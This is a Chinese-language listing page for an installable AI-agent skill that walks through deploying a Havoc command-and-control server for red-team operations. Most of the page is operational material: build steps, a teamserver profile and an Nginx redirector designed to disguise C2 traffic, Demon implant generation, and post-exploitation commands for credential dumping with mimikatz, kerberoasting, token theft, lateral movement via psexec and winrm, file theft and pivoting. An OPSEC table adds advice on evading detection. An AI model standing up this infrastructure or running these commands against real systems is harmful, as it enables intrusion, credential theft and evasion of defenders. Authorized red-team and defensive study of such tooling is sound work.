关于 building-red-team-c2-infrastructure-with-havoc
这项技能介绍如何为获得授权的红队行动部署和配置 Havoc C2 基础设施,面向红队与安全架构人员。内容涵盖 Teamserver、流量配置、监听器和 Demon 的操作,并强调 OPSEC。
主要功能
- 01部署 Havoc Teamserver
- 02配置流量配置文件
- 03设置 HTTP、HTTPS 和 SMB 监听器
- 04通过重定向器转发流量
- 05生成 Demon 载荷
- 06管理 Demon 会话
适用场景
- 01搭建授权红队演练的 C2 环境
- 02配置 HTTPS 重定向基础设施
- 03执行经授权的 Windows 终端后渗透测试
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill building-red-team-c2-infrastructure-with-havoc安装后在 Claude Code 中输入/building-red-team-c2-infrastructure-with-havoc确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
使用 Havoc 构建红队 C2 基础设施
概述
Havoc 是由 C5pider 创建的现代开源后渗透命令与控制(C2)框架。它提供了类似 Cobalt Strike 的协作式多操作员界面,具有用于 Windows 后渗透的 Demon agent、用于流量可塑配置的可自定义配置文件,并支持 HTTP/HTTPS/SMB 监听器。本技能涵盖在获得授权的红队行动中部署生产级 Havoc C2 基础设施,并考虑适当的 OPSEC。
何时使用
- 在你的环境中部署或配置使用 Havoc 构建红队 C2 基础设施的能力时
- 建立符合合规要求的安全控制时
- 为该领域构建或改进安全架构时
- 执行需要此实现的安全评估时
前提条件
- Ubuntu 22.04 LTS 或 Debian 11+(用于 Teamserver)
- Kali Linux 2023+(用于客户端)
- VPS 提供商:DigitalOcean、Linode 或 AWS EC2(最低 2GB RAM、2 vCPU)
- 注册满 30 天以上且具有有效 SSL 证书的域名
- 红队行动的书面授权
架构
┌──────────────────────────────────────────────────────────────┐
│ HAVOC C2 ARCHITECTURE │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Havoc │────▶│ HTTPS │────▶│ Target Network │ │
│ │ Client │ │ Redirector │ │ (Demon Agent) │ │
│ │ (Kali) │ │ (Nginx/CDN) │ │ │ │
│ └──────────┘ └──────────────┘ └──────────────────┘ │
│ │ │ │
│ │ ┌──────────────┐ │
│ └──────────▶│ Havoc │ │
│ │ Teamserver │ │
│ │ (Ubuntu VPS)│ │
│ │ Port 40056 │ │
│ └──────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
步骤 1:安装 Havoc Teamserver
# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
python3-dev libboost-all-dev mingw-w64 nasm
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
# Build the Client
make client-build
步骤 2:配置 Teamserver 配置文件
创建 Havoc 配置文件(havoc.yaotl):
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "Str0ngP@ssw0rd!"
}
user "operator2" {
Password = "An0th3rP@ss!"
}
}
Listeners {
Http {
Name = "HTTPS Listener"
Hosts = ["c2.yourdomain.com"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = 443
PortConn = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Uris = [
"/api/v2/auth",
"/api/v2/status",
"/content/images/gallery",
]
Headers = [
"X-Requested-With: XMLHttpRequest",
"Content-Type: application/json",
]
Response {
Headers = [
"Content-Type: application/json",
"Server: nginx/1.24.0",
"X-Frame-Options: DENY",
]
}
}
}
Demon {
Sleep = 10
Jitter = 30
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
步骤 3:启动 Teamserver
# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v
# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443
步骤 4:配置 HTTPS 重定向器
在单独的 VPS 上设置 Nginx 反向代理作为重定向器:
# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name c2.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;
# Only forward traffic matching C2 URIs
location /api/v2/auth {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /api/v2/status {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
location /content/images/gallery {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
# Redirect all other traffic to legitimate site
location / {
return 301 https://www.microsoft.com;
}
}
步骤 5:生成 Demon 载荷
# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe
# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver
步骤 6:使用 Demon 进行后渗透
一旦 Demon 会话上线,常用的后渗透命令:
# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all
# Process listing
demon> proc list
# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe
# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All
# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password
# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast
# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER
# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80
OPSEC 注意事项
| 方面 | 建议 |
|---|---|
| 域名年龄 | 在行动前 30 天以上注册域名 |
| SSL 证书 | 使用 Let's Encrypt 或购买的证书,切勿使用自签名证书 |
| 分类 | 将域名提交至 Bluecoat/Fortiguard 进行分类 |
| Sleep/Jitter | 长时间行动使用最低 10s sleep 和 30%+ jitter |
| User-Agent | 匹配目标组织常见的浏览器 user-agent |
| Kill Date | 将载荷过期时间设置为行动结束日期 |
| 基础设施 | 分离 teamserver、重定向器和钓鱼基础设施 |
| 载荷格式 | 使用带自定义 loader 的 shellcode,而不是原始 EXE |
MITRE ATT&CK 映射
| 技术 ID | 名称 | 阶段 |
|---|---|---|
| T1583.001 | 获取基础设施:域名 | 资源开发 |
| T1583.003 | 获取基础设施:虚拟专用服务器 | 资源开发 |
| T1587.001 | 开发能力:恶意软件 | 资源开发 |
| T1071.001 | 应用层协议:Web 协议 | 命令与控制 |
| T1573.002 | 加密通道:非对称加密 | 命令与控制 |
| T1090.002 | 代理:外部代理 | 命令与控制 |
| T1105 | 入口工具传输 | 命令与控制 |
| T1055 | 进程注入 | 防御规避 |
参考资料
- Havoc 框架 GitHub:https://github.com/HavocFramework/Havoc
- Havoc Wiki:https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD
- RedTeamOps Havoc 101:https://github.com/WesleyWong420/RedTeamOps-Havoc-101
- 通过 Terraform 部署 Havoc C2:https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform
评论
支持 Markdown